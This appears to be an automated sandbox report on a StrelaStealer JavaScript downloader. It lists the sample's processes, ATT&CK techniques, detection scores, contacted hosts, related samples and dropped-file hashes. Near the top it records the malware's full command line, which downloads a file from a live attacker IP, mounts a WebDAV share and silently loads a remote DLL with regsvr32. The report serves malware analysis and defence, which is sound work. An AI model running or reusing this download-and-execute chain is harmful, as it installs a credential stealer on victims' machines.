Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\15303669813820.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
3274215974163975076.js	5%	Virustotal		Browse
3274215974163975076.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/log5	0%	Avira URL Cloud	safe
http://193.143.1.2058888/	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/-f	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/.h	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
bg.microsoft.map.fastly.net	199.232.214.172	true	false	high
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	217.20.57.36	true	false	high
x1.i.lencr.org	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2202630200.00000231F44A0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3442872552.00000231F4600000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.2058888/	net.exe, 00000007.00000002.2203377662.00000246AFDA8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2203377662.00000246AFDD9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2203377662.00000246AFDA8000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2203377662.00000246AFDFC000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/-f	net.exe, 00000007.00000002.2203377662.00000246AFDA8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/.h	net.exe, 00000007.00000002.2203377662.00000246AFDA8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/log5	net.exe, 00000007.00000002.2203377662.00000246AFDA8000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/n	net.exe, 00000007.00000002.2203377662.00000246AFDD9000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588981
Start date and time:	2025-01-11 07:58:04 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 3s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	3274215974163975076.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/60@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 54.224.241.105, 34.237.241.83, 18.213.11.84, 50.16.47.176, 217.20.57.36, 2.16.168.105, 2.16.168.107, 23.219.161.132, 13.107.246.45, 4.245.163.56, 23.47.168.24
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com.delivery.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, wu-b-net.trafficmanager.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:58:59	API Interceptor	24x Sleep call for process: powershell.exe modified
01:59:03	API Interceptor	1x Sleep call for process: net.exe modified
01:59:03	API Interceptor	2x Sleep call for process: svchost.exe modified
01:59:10	API Interceptor	2x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
default.qdr.p1.ds-c7110-microsoft.global.dns.qwilted-cds.cqloud.com	Yv24LkKBY6.exe	Get hash	malicious	Unknown	Browse	217.20.57.20
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	217.20.57.36
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.36
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.21
	1554336511338510086.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.37
	3107622714995924320.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	709291801716322197.js	Get hash	malicious	Strela Downloader	Browse	84.201.210.23
	244312574730704684.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
	12071652839003777.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.20
	13134167581645321294.js	Get hash	malicious	Strela Downloader	Browse	217.20.57.18
bg.microsoft.map.fastly.net	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	2iH7rqx9rQ.exe	Get hash	malicious	Remcos	Browse	199.232.214.172
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172
	369248682699819312.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	32279194341766111087.js	Get hash	malicious	Strela Downloader	Browse	199.232.210.172
	11626244731900027402.js	Get hash	malicious	Strela Downloader	Browse	199.232.214.172

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	4483138622176223122.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	326794322661816170.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2948124376300195806.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1264213928938610773.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	244188544238313090.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	1534283901292319457.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	820716203646129861.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	23742400475728052.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	19292830865508482.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	91263130946456752.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263176751321639
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH0x:9JZj5MiKNnNhoxuk
MD5:	7A623658F3BC77CA6BDF59E40461693A
SHA1:	D454CD41AE0D300055056585F90B7FF16BC7799A
SHA-256:	2D2DC99FD3E2C1A824B1A401C591587EBA1166D017C8102CB5DB6A5C8023B369
SHA-512:	065DBE4328D6D16FAC1209676C85B7BE4139A66E8A02CF2D27F72D36F5DF93541B4AFC7E15B1567ECC654D43B043AF360B5F6E6170FC96972EFDAD966BE5025C
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xcbf658ab, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.755605911136488
Encrypted:	false
SSDEEP:	1536:9SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:9azaSvGJzYj2UlmOlOL
MD5:	2D52BDAB2BDD58AAD9D384B30C91AE4E
SHA1:	CDF25051493AD40836C7145725B1C9238372B023
SHA-256:	25C71C666F284ED20D1F07D2AF5FEAAF6BFD5847B7225B191F1A96B05E8BE59A
SHA-512:	3A40B15B3FCA5B0CB4D6ECCFBE90DEFB5587C30CE057D0FF3CD9D73683CD5A86498EA1CE9D4D96B0D0E7BD53CB2A51F24F76A10E64D86BB4EBF4EBFDABD7B079
Malicious:	false
Preview:	..X.... .......7.......X\...;...{......................0.e......!...{?..;...}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{.......................................;...}......................;...}/..........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0793801358089932
Encrypted:	false
SSDEEP:	3:5ml6YeRsnpaANaAPaU1lFNrnptilluxmO+l/SNxOf:5dzRshNDPaUfDGgmOH
MD5:	3E74AB24F5854698FB25A69B2EF522A2
SHA1:	93137AFC260C911AF2CACDDD274CC335264E3420
SHA-256:	FB2DB6BD5E3A35A2E8D33C272A430726633454617EE509B9399096FB67787B51
SHA-512:	ECC688D33A0C199139E809B5DF4A327E9F9A86EC36416E70C70C1A09047B1F8324DF1464C6F6DA59ED609DA891DD0D01E8D509723DBB0F20013E27FE544DD19F
Malicious:	false
Preview:	.........................................;...{...;...}/..!...{?..........!...{?..!...{?..g...!...{?.....................;...}/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.162417216563755
Encrypted:	false
SSDEEP:	6:iOn5alq2PN72nKuAl9OmbnIFUtF5aGXZmwr5aGFkwON72nKuAl9OmbjLJ:7n5ovVaHAahFUtF5P/r5d5OaHAaSJ
MD5:	83EF90B7DF6A430326E98D5B9F1C44DF
SHA1:	5118FB53D7B7FA9E7455B47FAC2BB765140405A0
SHA-256:	06BA06F1BE67FC6334AAC5BD1D3C745B73CA95A2FA76EFF871524901E998ABCB
SHA-512:	94CA9A1E211F25D91B81EA1E7A7E2B6883151A3331A0E2180E95D3B0144DB586F6FF6E8B47A7B4498AF23F0DA96BE170E690701AB5802A37544063F6791AECAA
Malicious:	false
Preview:	2025/01/11-01:59:03.435 af0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:59:03.437 af0 Recovering log #3.2025/01/11-01:59:03.437 af0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.162417216563755
Encrypted:	false
SSDEEP:	6:iOn5alq2PN72nKuAl9OmbnIFUtF5aGXZmwr5aGFkwON72nKuAl9OmbjLJ:7n5ovVaHAahFUtF5P/r5d5OaHAaSJ
MD5:	83EF90B7DF6A430326E98D5B9F1C44DF
SHA1:	5118FB53D7B7FA9E7455B47FAC2BB765140405A0
SHA-256:	06BA06F1BE67FC6334AAC5BD1D3C745B73CA95A2FA76EFF871524901E998ABCB
SHA-512:	94CA9A1E211F25D91B81EA1E7A7E2B6883151A3331A0E2180E95D3B0144DB586F6FF6E8B47A7B4498AF23F0DA96BE170E690701AB5802A37544063F6791AECAA
Malicious:	false
Preview:	2025/01/11-01:59:03.435 af0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/11-01:59:03.437 af0 Recovering log #3.2025/01/11-01:59:03.437 af0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.175459632331716
Encrypted:	false
SSDEEP:	6:iOn5a3+q2PN72nKuAl9Ombzo2jMGIFUtF5X3JZmwr5IVkwON72nKuAl9Ombzo2jz:7n5HvVaHAa8uFUtF5J/r5g5OaHAa8RJ
MD5:	262C3AED08AD8F5B30AB3AAA74B63E8D
SHA1:	91E698963722C8AF8EEA626CAC7B68770518F974
SHA-256:	247DCA5E8E768B4177BB85DECF32CBA8A3B78D68AFDBC95C6F4A1C69D0B3C689
SHA-512:	51CAB648415B490744CED05810E11DE4EBF8751ECECB34E780EC9EEFC1CBB823E87A736921E4F40EFAF09A7A77ED181287EDF02D787DDE9CEF1B9B0286BA1A90
Malicious:	false
Preview:	2025/01/11-01:59:03.585 938 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:59:03.586 938 Recovering log #3.2025/01/11-01:59:03.587 938 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.175459632331716
Encrypted:	false
SSDEEP:	6:iOn5a3+q2PN72nKuAl9Ombzo2jMGIFUtF5X3JZmwr5IVkwON72nKuAl9Ombzo2jz:7n5HvVaHAa8uFUtF5J/r5g5OaHAa8RJ
MD5:	262C3AED08AD8F5B30AB3AAA74B63E8D
SHA1:	91E698963722C8AF8EEA626CAC7B68770518F974
SHA-256:	247DCA5E8E768B4177BB85DECF32CBA8A3B78D68AFDBC95C6F4A1C69D0B3C689
SHA-512:	51CAB648415B490744CED05810E11DE4EBF8751ECECB34E780EC9EEFC1CBB823E87A736921E4F40EFAF09A7A77ED181287EDF02D787DDE9CEF1B9B0286BA1A90
Malicious:	false
Preview:	2025/01/11-01:59:03.585 938 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/11-01:59:03.586 938 Recovering log #3.2025/01/11-01:59:03.587 938 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\03066aa7-d579-4f16-b510-1c1f71ed51b1.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.9613938516286895
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrhsBdOg2Hrcaq3QYiubcP7E4T3y:Y2sRdsiydMHS3QYhbA7nby
MD5:	2654F3772D25501EFE13174D687FECD0
SHA1:	4E26F2526B1160745225D0C49A759730F9EF845A
SHA-256:	BB01956D86317117DDADE1FAEC30D365D53C576A18EDC2C15D74BBC4815CD827
SHA-512:	D7EB6E144584EABEF033456801771EBA930275043F73EE2AE3669B275B94E0678DB80BBDE613C99829D215C9B0F88ECD3C9EFFAAC8498AC9CC0D630CC7E2FB09
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381138755189273","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121276},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.9613938516286895
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqrhsBdOg2Hrcaq3QYiubcP7E4T3y:Y2sRdsiydMHS3QYhbA7nby
MD5:	2654F3772D25501EFE13174D687FECD0
SHA1:	4E26F2526B1160745225D0C49A759730F9EF845A
SHA-256:	BB01956D86317117DDADE1FAEC30D365D53C576A18EDC2C15D74BBC4815CD827
SHA-512:	D7EB6E144584EABEF033456801771EBA930275043F73EE2AE3669B275B94E0678DB80BBDE613C99829D215C9B0F88ECD3C9EFFAAC8498AC9CC0D630CC7E2FB09
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381138755189273","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":121276},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.251718655679943
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7yJ+q:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhe
MD5:	A0B0FF38D6EA1DFC36A84533B1CE8E5B
SHA1:	38E42C192289224145D2A9F4DF68087905AA839C
SHA-256:	FF3826712766DD0AA65AD41D0257A3A455DAB05128E8F19BC0D7614EE3AFF29E
SHA-512:	C18B2C30C1B3785CDE1D2CFD66276FBC5A6BA7FDF73C1B22E4D2AE0493BA3871FE33B9E1CC0DE27374E4D28ED0C20EE4C7CB6C5F4FE019F13577D3053DB06C1D
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.185646722161747
Encrypted:	false
SSDEEP:	6:iOn5Ypt+q2PN72nKuAl9OmbzNMxIFUtF5YeZmwr5YDtVkwON72nKuAl9OmbzNMFd:7n5YpovVaHAa8jFUtF5Ye/r5Yv5OaHAo
MD5:	B47CE4CA11AF924F9CB477CD957C1216
SHA1:	AF4A20F4CB258660149D3D61CABCBF2B2B2BFC9D
SHA-256:	7A9AF384891220E301A65F16909582551CC53C7A5254A320C6B1A78FC912A613
SHA-512:	DCB7A6A2A0F8CC975EEF0879F89F933DA22BE0AC05568533005A3751BC1E4BD6A062FD35D28F8A4F02976265E27677A281ACB224275045DB6F3182F106A60FB7
Malicious:	false
Preview:	2025/01/11-01:59:03.640 938 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:59:03.641 938 Recovering log #3.2025/01/11-01:59:03.642 938 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.185646722161747
Encrypted:	false
SSDEEP:	6:iOn5Ypt+q2PN72nKuAl9OmbzNMxIFUtF5YeZmwr5YDtVkwON72nKuAl9OmbzNMFd:7n5YpovVaHAa8jFUtF5Ye/r5Yv5OaHAo
MD5:	B47CE4CA11AF924F9CB477CD957C1216
SHA1:	AF4A20F4CB258660149D3D61CABCBF2B2B2BFC9D
SHA-256:	7A9AF384891220E301A65F16909582551CC53C7A5254A320C6B1A78FC912A613
SHA-512:	DCB7A6A2A0F8CC975EEF0879F89F933DA22BE0AC05568533005A3751BC1E4BD6A062FD35D28F8A4F02976265E27677A281ACB224275045DB6F3182F106A60FB7
Malicious:	false
Preview:	2025/01/11-01:59:03.640 938 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/11-01:59:03.641 938 Recovering log #3.2025/01/11-01:59:03.642 938 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 12, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 12
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444501439222406
Encrypted:	false
SSDEEP:	384:ieMci5tBiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:sSs3OazzU89UTTgUL
MD5:	58AF9F620BBE3483998B66474FF91A5C
SHA1:	5A069C6581CBE6DE3CE5CB0156CBA0596DA467F4
SHA-256:	29FC67F2E39EF3D131817192AE5F80313221574E076EC3ECFF87BCC28700417E
SHA-512:	5D54B50D657B6E2DA803C11991B6B85C0826E011CDB3F5C0C35F9EED507FF0DAC82391AB10B97ACD1875540B8145CDC06947F03B51B2A9C0F723A3FB088F9C46
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

